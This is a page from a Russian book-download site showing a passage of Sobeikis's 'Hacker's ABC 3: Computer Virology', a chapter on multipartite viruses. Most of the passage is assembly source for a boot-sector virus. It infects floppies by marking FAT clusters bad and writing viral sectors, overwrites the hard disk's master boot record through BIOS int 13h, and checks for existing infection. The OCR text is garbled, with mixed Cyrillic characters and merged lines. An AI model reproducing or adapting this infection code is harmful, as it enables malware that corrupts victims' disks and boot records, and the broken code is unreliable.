Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 83 84 85 86 87 88 < 89 > 90 91 92 93 94 95 .. 123 >> Следующая

В записи [CURR_DISK] должен быть указан номер диска.
INCLUDE FATMAN.ASM
INFECT_FLOPPVi
push ах
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ax.cs
mov ds.ax
mov es.ax
mov bx,VIR_SIZE+1 '.количество требуемых секторов call FIND_FREE ;найти
свободное пространство на диске jne INF1 ;выход, если нет
пространства
ГЛАВА 7. Многоцелевые вирусы
IFX:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
INF1: push сх
mov dx.cx ;dx= кластер для начала создания требуемых mov cx,VIR_SIZE+1
;секторов
call MARK_CLUSTERS ;метим эти секторы как "плохие" call UPDATE_FAT_SECTOR
;пишем на диск mov ах,0201Н
mov bx,OFFSET SCRATCHBUF mov сх,1 mov dh.ch mov dl,[CURR_DISK]
int 40h .читаем оригинальный зафузочный сектор
mov si.OFFSET SCRATCHBUF + 3 ;BS_DATA в текущем секторе mov di,OFFSET
BOOT.START + 3 mov cx,59 копируем дисковое инфо загрузочного rep movsb ;
сектора в новый зафузочный сектор mov di,OFFSET END_BS_CODE mov si.di
oen
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
sub si,(OFFSET BOOT_START - OFFSET SCRATCHBUF) mov CX.7E00H ;чтобы
загрузка работала правильно sub cx.di
rep movsb ; дискеты тоже
pop сх
call CLUST_TO_ABSOLUTE '.устанавливаем cx, dx на трек, сек. и гол.
xor dl.dl
mov ds:[VlRCX],cx
mov ds:[VIRDX],dx
mov dl ,ds: [CURR_DISK]
mov bx.OFFSET BBS
mov si,VIR_SIZE+1 ;читаем/записываем секторы VIR_SIZE+1
INF2:
push si
mov ax,0301H ;читаем/записываем 1 сектор
int 40h - ;вызов BIOS, чтобы записать его
pop si
jc IFEX ;выход, если неудача
add bx,512 -.инкрементируем буфер чтения
inc cl ;готовимся создать следующий сектор
cmp d.BYTE PTR [SECS_PER_TRACK];последний сектор трека?
jbe INF3 ;нет, продолжаем
mov cl, 1 ;да, установить сектор=1
inc dh ;пробуем следующий сайд
cmp dh,2 ;последняя?
jb INF3 ;нет, продолжаем
xor dh.dh ;да, устанавливаем side=0
inc ch ; инкрементируем счет треков
INF3:
dec si

ГЛАВА 7. Многоцелевые вирусы
jnz INF2 mov ах,0301Н
mov bx,OFFSET BOOT_START mov cx,1 mov dh.ch mov dl,[CURR_DISK]
int 40h ;записываем вирусный ЗС в зафузочный сектор
IFEX:
jmp IFX
Инфицирование жесткого диска
Это вовлекает следующие шаги:
а) читаем нынешний загрузочный сектор,
б) копируем его в трек 0, головку 0, сектор 7,
в) копируем инфо параметров диска в вирусный ЗС в памяти,
г) копируем вирусный ЗС в трек 0, головку 0, сектор 1 и
д) копируем подпрограммы BBS в трек 0, головку 0, секторы
2 и 5.
При вызове этой подпрограммы MBS (главный загрузочный сектор) уже
находится в памяти в SCRATCHBUF!
INFECTHARD:
mov bx,OFFSET BBS ;запись на диск С:
mov dx,80H ;головка О
mov ds:(VIRDX],dx сохраняем, вирус идет в
mov сх,0002Н ;трек 0, сектор 2
mov ds:[VIRCX],cx
mov ах.ОЗООН + VIR_SIZE + 1 ;BIOS пишет на диск
int 13h ;вирус + оригинальная MBS
mov si.OFFSET SCRATCHBUF +1 ВЕН ;установка таблицы разделов
mov di,OFFSET PART
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov сх,40Н rep movsb
mov WORD PTR ds:[BS_SECS_PER_TRACK],64 ;делаем достаточно ;большим для
работы mov bx,OFFSET BOOTSTART mov dx,80H ;головка 0, диск С:
mov cx, 1 ;трек 0, сектор 1
mov ax, 301H ; пишем 1 сектор
int 13H
ret
Эта подпрограмма решает, существует ли жесткий диск С: и возвращает г
сброшенным, если да, или установленным - если нет.
IS_HARD_THERE:
push ds xor ax,ax mov ds.ax
mov bx,475H ;получаем счет жестких дисков из bios
mov al,[bx] ;помещаем его в al pop ds
or al.al ;возврат z установленным/неустановленным ret
Определяем, является ли ЗС в SCRATCHBUF вирусным ЗС. Если да,
устанавливаем z, если нет то - сбрасываем z. Проверяем первые 30 байтов
кода, начиная в BOOT, и смотрим, одинаковые ли они. Если да, то это
вирусный ЗС. Считаем, что при вызове этой подпрограммы es и ds
установлены в данном сегменте правильно.
IS_VBS:
push si сохраняем их
push di
cld
ГЛАВА 7. Многоцелевые вирусы
mov di,OFFSET BOOT ;устанавливаем для сравнения mov si,OFFSET SCRA7CHBUF
+ (OFFSET BOOT - OFFSET BOOT START) mov cx,15
repz cmpsw {сравниваем 30 байтов
pop di .восстанавливаем их
pop si
ret {возврат с установкой z
Набросок буфера для чтения/записи диска:
ORG 7С00Н - 512 SCRATCHBUP. {буфер для чтения/записи диска
INCLUDE BOOT.ASM {включая код загрузочного сектора
END START Модуль FATMAN
Файл FATMAN.ASM используется вирусом для получения доступа и манипуляций
FATable на дискетах. Он не может ассемблироваться отдельно. Его нужно
использовать как включенный файл вместе с другими ASM-файлами.
Подпрограмма для манипуляций 12-битной FAT требует только односекторный
буфер для FAT, какой бы большой ни была Таблица размещения файлов.
Следующая область данных должна сохранять указанный порядок. Это образ
данных,сохраненных в загрузочном секторе.
MAX_CLUST DW ? {максимальное количество кластеров SECS_PER_CLUST DB ?
{количество секторов на кластер RESERVED_SECS DW ? {резервируем секторы в
начале диска FATS DB ? .копируем FAT на диск DIR_ENTRIES DW ? ;число
записей в корневой директории SEC70RS_0N_DISK DW? {полное число секторов
Предыдущая << 1 .. 83 84 85 86 87 88 < 89 > 90 91 92 93 94 95 .. 123 >> Следующая